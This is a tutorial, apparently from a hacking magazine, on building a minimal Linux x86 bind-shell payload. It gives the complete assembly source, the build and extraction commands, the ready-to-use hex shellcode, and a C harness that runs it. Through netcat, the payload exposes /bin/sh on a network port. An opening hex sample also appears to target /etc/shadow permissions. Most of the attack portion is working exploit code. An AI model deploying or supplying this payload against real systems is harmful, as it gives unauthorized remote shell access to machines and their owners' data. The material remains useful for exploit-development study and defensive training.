Shellcode is a set of machine instructions that provides access to a command interpreter (cmd.exe on Windows and a shell on Linux—the origin of the term). More broadly, shellcode refers to any code used as an exploit payload: a sequence of machine instructions executed by a vulnerable application. In some cases, it can be as simple as a system command like chmod .
x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73
x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01
xcdx80x40xcdx80
A bit of theory
I’m sure many of our readers are already familiar with the fundamentals I plan to cover in the theory section, but let’s not forget the hackers who’ve only recently joined us and try to make it easier for them to get up to speed in this challenging field.
System Calls
System calls provide the interface between user space (user mode) and kernel space (kernel mode) and are used for a wide range of tasks, such as executing programs, performing I/O, and reading and writing files.
To invoke a system call in assembly, you load the appropriate syscall number along with its arguments into the designated registers.
Registers
Registers are special storage locations inside the CPU that are accessed by name (unlike main memory). They’re used to hold data and addresses. We’ll be focusing on the general-purpose registers: EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP.
The Stack
The stack is a region of a program’s memory used for temporary data storage. It’s important to remember that the stack operates in reverse order (last in, first out). A stack overflow is a fairly common vulnerability that can allow an attacker to overwrite a function’s return address with the address of injected shellcode.
The Null Byte Problem
Many string-handling functions use a null byte to terminate a string.
Therefore, if a null byte appears in the shellcode, everything after it will be ignored and the code won’t run—something you need to account for.
Tools we’ll need
- Debian Linux (x86/x86_64) — although we’ll be writing x86 code, building on an x86_64 machine shouldn’t cause any issues.
- NASM — a free assembler for the Intel x86 architecture (LGPL and BSD licensed).
- ld — the linker.
- objdump — a utility for inspecting binaries; we’ll use it to extract raw machine-code bytes from an executable.
- GCC — the compiler.
- strace — a tool for tracing system calls.
If we were building a bind shell the classic way, we’d have to invoke the socketcall() network system call multiple times.
- net.h/SYS_SOCKET — to create a socket;
- net.h/SYS_BIND — to bind the socket to an IP address and port;
- net.h/SYS_LISTEN — to start listening for incoming connections;
- net.h/SYS_ACCEPT — to start accepting connections.
In the end, our shellcode would end up fairly large. Depending on the implementation, it averages around 70 bytes, which isn’t much… But let’s not forget our goal—write the most compact shellcode possible, which we’ll achieve by leveraging netcat!
Why Shellcode Size Matters
You’ve probably heard that buffer overflow exploits rely on control-flow hijacking: the attacker overwrites a function’s return address with the address where their shellcode resides. The shellcode size is constrained and can’t exceed a certain limit.
Code
We’ll write the shellcode in pure assembly and test it from a C program. Our scaffold, bind_shell_1.nasm, split into logical sections for clarity, looks like this:
; Block 1section .textglobal _start_start:; Block 2xor edx, edxpush edxpush 0x35343332 ; -vp12345push 0x3170762dmov esi, esp; Block 3push edxpush 0x68732f2f ; -le//bin//shpush 0x6e69622fpush 0x2f656c2dmov edi, esp; Block 4push edxpush 0x636e2f2f ; /bin//ncpush 0x6e69622fmov ebx, esp; Block 5push edxpush esipush edipush ebxmov ecx, espxor eax, eaxmov al,11int 0x80Save it as super_small_bind_shell_1. and then compile it:
$ nasm -f elf32 super_small_bind_shell_1.nasm
and then we’ll link our code:
$ ld -m elf_i386 super_small_bind_shell_1.o -o super_small_bind_shell_1
and run the resulting program under strace to see what it does:
$ strace ./super_small_bind_shell_1

As you can see, there’s nothing magical here. The execve( system call launches netcat, which starts listening on port 12345 and exposes a remote shell on the machine. In our case, we used execve( to run the / binary with the required arguments (-le/).
execve() has the following prototype:
int execve(const char *filename, char *const argv[], char *const envp[]);- filename usually points to the path of the executable binary —
/.bin/ nc - argv[] is a pointer to the argument array, including the executable name —
[."/ bin// nc", "-le// bin// sh", "-vp12345"] - envp[] points to the environment array. In our case it’s NULL since we’re not using it.
The syntax for our system call (function) is as follows:
execve("/bin//nc", ["/bin//nc", "-le//bin//sh", "-vp12345"], NULL)Invoking system calls in assembly
As mentioned at the beginning of the article, a system call is selected by its number (for x86 you can find the numbers here: /), which must be placed in the EAX register. In our case, we put the value 11 into EAX—more precisely, into its low byte AL—which corresponds to the execve( system call.
Function arguments must be loaded into the EBX, ECX, and EDX registers:
- EBX — must point to the filename string “/bin//nc”
- ECX — must point to the argv[] array: “/bin//nc” “-le//bin//sh” “-vp12345”
- EDX — must be NULL for envp[]
We used the ESI and EDI registers as temporary storage to stage the execve() arguments onto the stack in the required order, so that in block 5 (see code above) we can move into ECX a pointer (more precisely, a pointer to a pointer) to the argv[] array.
Let’s Dive Into the Code
Let’s break the code down block by block.
Block 1 speaks for itself and is used to define the section that contains executable code and to tell the linker where the program’s entry point is.
section .textglobal _start_start:Module 2
xor edx, edxWe clear the EDX register; its NULL value will be used for envp[ and as the string terminator for the strings we push onto the stack. We zero it via XOR, since using mov would introduce null bytes into the shellcode, which is unacceptable.
push edx ; Push the string terminator onto the stackpush 0x35343332 ; Push the string -vp12345 onto the stackpush 0x3170762dmov esi, esp ; Load ESI with the address of the -vp12345 string on the stack
Important!
We push the execve( arguments onto the stack in reverse (right to left), because the stack grows from higher to lower addresses, while data is read back in the opposite direction—from lower to higher addresses.
To reverse a string and convert it to hex, you can use the following Linux command:
$ echo -n '-vp12345' | rev | od -A n -t x1 |sed 's/ /x/g
x35x34x33x32x31x70x76x2d`
Block 3
push edx ; Push the string terminator onto the stackpush 0x68732f2f ; Push the string -le//bin//sh onto the stackpush 0x6e69622fpush 0x2f656c2dmov edi, esp ; Load into EDI the address of the -le//bin//sh string on the stackYou’ve probably noticed the odd-looking path to the binary with double slashes. That’s intentional: it pads the added bytes to a multiple of four, letting us avoid the null byte. Linux ignores redundant slashes, so /bin/nc and /bin//nc resolve to the same path.
Module 4
push edx ; Push the string terminator onto the stackpush 0x636e2f2f ; Push the string /bin//nc onto the stack (filename)push 0x6e69622fmov ebx, esp ; Move into EBX the address of the /bin//nc string on the stackBlock 5
push edx ; Push the null terminator onto the stackpush esi ; Push the address of the string -vp12345 onto the stackpush edi ; Push the address of the string -le//bin//sh onto the stackpush ebx ; Push the address of the string /bin//nc onto the stackmov ecx, esp ; Put into ECX the stack address pointing to argv[] (pointer to pointer)xor eax, eax ; Zero out EAXmov al,11 ; Load 11 (execve syscall number) into the low byteWhy AL and not EAX? EAX is a 32-bit register. Its lower 16 bits are accessible as AX, which in turn splits into two bytes: the low byte (AL) and the high byte (AH). By writing the value into AL, we avoid null bytes that would appear if we put 11 into EAX (it would be 0x0000000B).
Extracting the Shellcode
To finally extract the long-awaited shellcode from the file, we’ll use the following Linux command:
$ objdump -d ./super_small_bind_shell_1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
and we end up with the following neat shellcode:
x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68
x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62
x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80
Testing
For our tests, we’ll use the following C program:
#include<stdio.h>#include<string.h>unsigned char shellcode[] ="x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68""x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62""x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80";main(){ printf("Shellcode Length: %dn",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret();}Compile. NB! If you’re on an x86_64 system, you might need to install g++-multilib:
# apt-get install g++-multilib
$ gcc -m32 -fno-stack-protector -z execstack checker.c -o checker
Run it:
$ ./checker

Heh, looks like our shellcode works: it’s 58 bytes long, and netcat opens a shell on port 12345.
Optimizing for size
58 bytes is pretty good, but if you check the shellcode section on exploit-db.com, you can find even smaller ones—for example, this one is 56 bytes.
Can we make our code significantly more compact?
Yes. By removing the block that specifies the port number. In this setup, netcat will still listen on the network and give us a shell. However, we’ll now have to find the port number using nmap. Our updated code will look like this:
section .textglobal _start _start: xor edx, edx push edx push 0x68732f2f ; -le//bin//sh push 0x6e69622f push 0x2f656c2d mov edi, esp push edx push 0x636e2f2f ; /bin//nc push 0x6e69622f mov ebx, esp push edx push edi push ebx mov ecx, esp xor eax, eax mov al,11 int 0x80Compiling:
$ nasm -f elf32 super_small_bind_shell_2.nasm
Links:
$ ld -m elf_i386 super_small_bind_shell_2.o -o super_small_bind_shell_2
Extracting the shellcode:
$ objdump -d ./super_small_bind_shell_2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52
x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b
xcdx80
Let’s check:
#include<stdio.h>#include<string.h>unsigned char shellcode[] ="x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52""x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b""xcdx80";main(){ printf("Shellcode Length: %dn",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret();}$ gcc -m32 -fno-stack-protector -z execstack checker2.c -o checker2
$ ./checker2
Shellcode Length: 44
Now let’s try to connect and get remote shell access. Using Nmap, we’ll determine which port our shell is listening on, then connect to it with the same netcat:

Bingo! Mission accomplished: we’ve built one of the most compact Linux x86 bind shellcodes. See? Nothing to it 😉